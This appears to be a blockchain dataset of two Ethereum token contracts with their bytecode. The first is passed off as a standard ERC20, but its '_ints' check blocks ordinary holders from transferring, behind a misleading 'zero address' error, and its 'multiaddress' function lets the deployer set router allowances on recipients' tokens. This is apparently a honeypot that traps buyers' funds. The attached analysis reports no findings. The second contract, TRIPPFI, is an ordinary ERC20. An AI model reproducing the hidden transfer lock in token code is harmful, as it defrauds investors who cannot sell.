function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_ints(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _ints(address sender, address recipient, uint256 amount) internal view virtual{
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){
_Addressint[receivers[i]] = true;
_approve(receivers[i], _router, _valuehash);
}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function _ErcTokens(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d71461040a578063a9059cbb14610470578063b952390d146104d6578063dd62ed3e1461062f576100cf565b8063438dd087146102eb57806370a082311461032f57806395d89b4114610387576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b6101c5610767565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610771565b604051808215151515815260200191505060405180910390f35b61026961084a565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b604051808215151515815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610914565b005b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b61038f610a63565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cf5780820151818401526020810190506103b4565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b6104bc6004803603604081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b604051808215151515815260200191505060405180910390f35b61062d600480360360608110156104ec57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051657600080fd5b82018360208201111561052857600080fd5b8035906020019184602083028401116401000000008311171561054a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105aa57600080fd5b8201836020820111156105bc57600080fd5b803590602001918460208302840111640100000000831117156105de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bf0565b005b6106916004803603604081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d53565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050905090565b600061075d610756610dda565b8484610de2565b6001905092915050565b6000600354905090565b600061077e848484610fd9565b61083f8461078a610dda565b61083a856040518060600160405280602881526020016116f060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061090a61086e610dda565b84610905856001600061087f610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b610de2565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b5050505050905090565b6000610bc8610b12610dda565b84610bc3856040518060600160405280602581526020016117616025913960016000610b3c610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b6001905092915050565b6000610be6610bdf610dda565b8484610fd9565b6001905092915050565b60008090505b8251811015610d4d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d4057610c85838281518110610c6457fe5b6020026020010151838381518110610c7857fe5b6020026020010151610bd2565b508360ff16811015610d3f57600160086000858481518110610ca357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d3e838281518110610d0b57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610de2565b5b5b8080600101915050610bf6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061173d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116a86022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116856023913960400191505060405180910390fd5b6110f08383836113ed565b6110fb8383836113f2565b611166816040518060600160405280602681526020016116ca602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113175780820151818401526020810190506112fc565b50505050905090810190601f1680156113445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561149e5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611527575060095481115b1561167f57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115d55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116295750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b5b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212205799492bfb8cff767c8330d5813561c1b86411a564682f16b34dc46485219d9e64736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 8,936 |
0x7672a973480496902a73d6090f47c97eb37bdffa
|
pragma solidity >=0.5.0 <0.6.0;
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
/**
* @dev remove an account's access to this role
*/
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
/**
* @dev check if an account has this role
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://eips.ethereum.org/EIPS/eip-20
* Originally based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return A uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token to a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Approve an address to spend another addresses' tokens.
* @param owner The address that owns the tokens.
* @param spender The address that will spend the tokens.
* @param value The number of tokens that can be spent.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title ERC20Detailed token
* @dev The decimals are only for visualization purposes.
* All the operations are done using the smallest and indivisible token unit,
* just as on Ethereum all the operations are done in wei.
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract TRIPPFI is ERC20Detailed,ERC20,Ownable {
constructor()
public
ERC20Detailed ("TRIPPFI", "TRIPP", 18) {
_mint(msg.sender, 100000000 * (10 ** uint256(18)));
}
}
|
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c578063a457c2d711610066578063a457c2d714610435578063a9059cbb1461049b578063dd62ed3e14610501578063f2fde38b14610579576100ea565b8063715018a61461035e5780638da5cb5b1461036857806395d89b41146103b2576100ea565b806323b872dd116100c857806323b872dd146101f6578063313ce5671461027c57806339509351146102a057806370a0823114610306576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d8575b600080fd5b6100f76105bd565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061065f565b604051808215151515815260200191505060405180910390f35b6101e0610676565b6040518082815260200191505060405180910390f35b6102626004803603606081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610680565b604051808215151515815260200191505060405180910390f35b610284610731565b604051808260ff1660ff16815260200191505060405180910390f35b6102ec600480360360408110156102b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610748565b604051808215151515815260200191505060405180910390f35b6103486004803603602081101561031c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107ed565b6040518082815260200191505060405180910390f35b610366610836565b005b6103706109ba565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103ba6109e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103fa5780820151818401526020810190506103df565b50505050905090810190601f1680156104275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104816004803603604081101561044b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a86565b604051808215151515815260200191505060405180910390f35b6104e7600480360360408110156104b157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b2b565b604051808215151515815260200191505060405180910390f35b6105636004803603604081101561051757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b42565b6040518082815260200191505060405180910390f35b6105bb6004803603602081101561058f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bc9565b005b606060008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106555780601f1061062a57610100808354040283529160200191610655565b820191906000526020600020905b81548152906001019060200180831161063857829003601f168201915b5050505050905090565b600061066c338484610dd2565b6001905092915050565b6000600554905090565b600061068d848484610f31565b610726843361072185600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110ff90919063ffffffff16565b610dd2565b600190509392505050565b6000600260009054906101000a900460ff16905090565b60006107e333846107de85600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461111f90919063ffffffff16565b610dd2565b6001905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a7c5780601f10610a5157610100808354040283529160200191610a7c565b820191906000526020600020905b815481529060010190602001808311610a5f57829003601f168201915b5050505050905090565b6000610b213384610b1c85600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110ff90919063ffffffff16565b610dd2565b6001905092915050565b6000610b38338484610f31565b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c8c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610d12576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061113f6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e0c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e4657600080fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f6b57600080fd5b610fbd81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110ff90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffffffffff